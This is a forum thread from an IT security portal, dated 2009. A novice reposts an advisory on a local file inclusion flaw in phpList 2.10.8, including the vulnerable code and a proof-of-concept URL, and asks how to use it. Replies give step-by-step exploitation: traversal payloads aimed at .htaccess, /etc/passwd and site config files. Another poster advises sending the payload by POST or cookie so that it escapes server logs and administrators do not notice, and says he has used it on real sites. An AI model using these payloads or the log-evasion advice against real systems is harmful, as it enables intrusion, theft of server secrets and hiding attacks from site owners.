Waraxe IT Security Portal
Login or Register
November 17, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 48
Members: 0
Total: 48
Full disclosure
SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879)
Security issue in the TX Text Control .NET Server for ASP.NET.
SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater
Unsafe eval() in TestRail CLI
4 vulnerabilities in ibmsecurity
32 vulnerabilities in IBM Security Verify Access
xlibre Xnest security advisory & bugfix releases
APPLE-SA-10-29-2024-1 Safari 18.1
SEC Consult SA-20241030-0 :: Query Filter Injection in Ping Identity PingIDM (formerly known as ForgeRock Identity Management) (CVE-2024-23600)
SEC Consult SA-20241023-0 :: Authenticated Remote Code Execution in Multiple Xerox printers (CVE-2024-6333)
APPLE-SA-10-28-2024-8 visionOS 2.1
APPLE-SA-10-28-2024-7 tvOS 18.1
APPLE-SA-10-28-2024-6 watchOS 11.1
APPLE-SA-10-28-2024-5 macOS Ventura 13.7.1
APPLE-SA-10-28-2024-4 macOS Sonoma 14.7.1
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Newbies corner -> How to run PHPlist exploit
Post new topicReply to topic View previous topic :: View next topic
How to run PHPlist exploit
PostPosted: Tue Feb 10, 2009 12:13 am Reply with quote
mulkman
Regular user
Regular user
Joined: Aug 18, 2008
Posts: 5




phpList <= 2.10.8 Local File Inclusion Vulnerability

Code:
Code:
########################## www.BugReport.ir #########################
#
# AmnPardaz Security Research Team
#
# Title: phpList Local File inclusion
# Vendor: http://www.phplist.com
# Bug: Local File Inclusion
# Vulnerable Version: 2.10.8 (prior versions also may be affected)
# Exploitation: Remote with browser
# Fix: N/A
# Original Advisory: http://www.bugreport.ir/index_60.htm
###################################################################


####################
- Description:
####################

Quote From vendor:"phplist is an open-source newsletter manager. phplist is free to download, install and use, and is easy to integrate with any website.
phplist is downloaded more than 10 000 times per month and is listed in the top open source projects for vitality score on Freshmeat.
phplist is sponsored by tincan."


####################
- Vulnerability:
####################

+--> Local File Inclusion

Because of the vulnerability in "admin/index.php", When "register_globals" is disabled (Default PHP Configuration) It is possible for remote attackers to
include arbitrary files from local resources before performing authentication.

Code Snippet:
/lists/admin.php #line:10-18

if (!ini_get("register_globals") || ini_get("register_globals") == "off") {
# fix register globals, for now, should be phased out gradually
# sure, this gets around the entire reason that regLANGUAGE_SWITCHister globals
# should be off, but going through three years of code takes a long time....

foreach ($_REQUEST as $key => $val) {
$$key = $val;
}
}

/lists/admin.php #line:41-56

if (isset($_SERVER["ConfigFile"]) && is_file($_SERVER["ConfigFile"])) {
print '<!-- using '.$_SERVER["ConfigFile"].'-->'."\n";
include $_SERVER["ConfigFile"];
} elseif (isset($cline["c"]) && is_file($cline["c"])) {
print '<!-- using '.$cline["c"].' -->'."\n";
include $cline["c"];
} elseif (isset($_ENV["CONFIG"]) && is_file($_ENV["CONFIG"])) {
# print '<!-- using '.$_ENV["CONFIG"].'-->'."\n";
include $_ENV["CONFIG"];
} elseif (is_file("../config/config.php")) {
print '<!-- using ../config/config.php -->'."\n";
include "../config/config.php";
} else {
print "Error, cannot find config file\n";
exit;
}

####################
- POC:
####################

http://www.example.com/lists/admin/index.php?_SERVER[ConfigFile]=../.htaccess

####################
- Credit:
####################
AmnPardaz Security Research Team
Contact: admin[4t}bugreport{d0t]ir
www.BugReport.ir
www.AmnPardaz.com


Can you explain please roughly how to use this exploit. Do I have to put a url link at [ConfigFile] ????
View user's profile Send private message
PostPosted: Tue Feb 10, 2009 12:52 am Reply with quote
ingh1pped
Advanced user
Advanced user
Joined: Dec 13, 2008
Posts: 88




you haven't to run nothing
this exploit is in the must part an explanation of the vuln code of the PHPLIST SCRIPT
it's a local file inclusion

you have just to go

http://www.yoursitevuln.com/lists/admin/index.php?_SERVER[ConfigFile]= //OBVIoUSLY BASED ON THIS phpList /LIST/
and put after "=" this >> ../.htaccess
so you can read the htaccess file directly

or try to come back over other directory trasversal
./../../etc/passwd ../../../var/html/site/config.php
you must to know how the site and the server is configurated, like know the name of the folder and the name of the site's file, trying a path disclosure on the site.

you can include some file of the server or the site in your page site...
View user's profile Send private message
PostPosted: Tue Feb 10, 2009 6:57 am Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




ingh1pped this Xploit work with POST and Cookie.Don't by lamer like this guy's.
View user's profile Send private message
PostPosted: Wed Feb 11, 2009 12:11 am Reply with quote
ingh1pped
Advanced user
Advanced user
Joined: Dec 13, 2008
Posts: 88




Quote:
Don't by lamer like this guy's.


pexli what you want to say with this? you talk to me really?
haven't you try this exploit in local.?
i just try with this version and this exploit work with and without login...
also only putting admin/index.php?_SERVER[ConfigFile]=../.htaccess
in the url... try and then talk ... trust me.

the only problem is this... magic_quotes_gpc on ..
have you read the source code of the script and not only the part of the code in this exploit..? have you try it in local? Wink

if i am a lamah , world is your.. ^^ , i'm only an italian that talk badly in english.. XD
View user's profile Send private message
PostPosted: Wed Feb 11, 2009 8:29 am Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




ingh1pped wrote:
Quote:
Don't by lamer like this guy's.


pexli what you want to say with this? you talk to me really?
haven't you try this exploit in local.?
i just try with this version and this exploit work with and without login...
also only putting admin/index.php?_SERVER[ConfigFile]=../.htaccess
in the url... try and then talk ... trust me.

the only problem is this... magic_quotes_gpc on ..
have you read the source code of the script and not only the part of the code in this exploit..? have you try it in local? Wink

if i am a lamah , world is your.. ^^ , i'm only an italian that talk badly in english.. XD


No a'm not tested local, but tested in real life and this working.But not like you write.Read some books.Where is the difference between POST,GET and COOKIE method.Why only lamers use GET method.....etc.
View user's profile Send private message
PostPosted: Wed Feb 11, 2009 6:05 pm Reply with quote
ingh1pped
Advanced user
Advanced user
Joined: Dec 13, 2008
Posts: 88




you are talking about things that not match with this discussion

Quote:

Where is the difference between POST,GET and COOKIE method.Why only lamers use GET method.


i read more books than you, i mean. and i don't need your suggestion..
GET method === lamers ( WTF you say=?) GET method is a method of php not a method of lamer... Rolling Eyes

I repeat that , this topics need how use the exploit , and the method i suggest work. Nothing to tell. Don't need cookie, session , login, post, get and other things you are just saying.. see you and take care.. ^^
View user's profile Send private message
PostPosted: Wed Feb 11, 2009 6:29 pm Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




If you send this index.php?_SERVER[ConfigFile]=../.htaccess with GET all this shitt write into log files and tomorrow when admin looks in log files and see your very good method get he close the hole and you with your good working method stay to wanking in corner.Ферштейн?

Because guy's like you good hole's dies for couple hours.
View user's profile Send private message
PostPosted: Wed Feb 11, 2009 11:18 pm Reply with quote
ingh1pped
Advanced user
Advanced user
Joined: Dec 13, 2008
Posts: 88




ahhhhhhh ok.. now you explain your self without using this term refered to me
Quote:
Don't by lamer like this guy's.


you are right, but what you have written some post ago..

Quote:
this Xploit work with POST and Cookie
meaning , that this exploit doesn't work with GET without COOKIE and POST method and this was false.

Wink
View user's profile Send private message
How to run PHPlist exploit
www.waraxe.us Forum Index -> Newbies corner
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.036 Seconds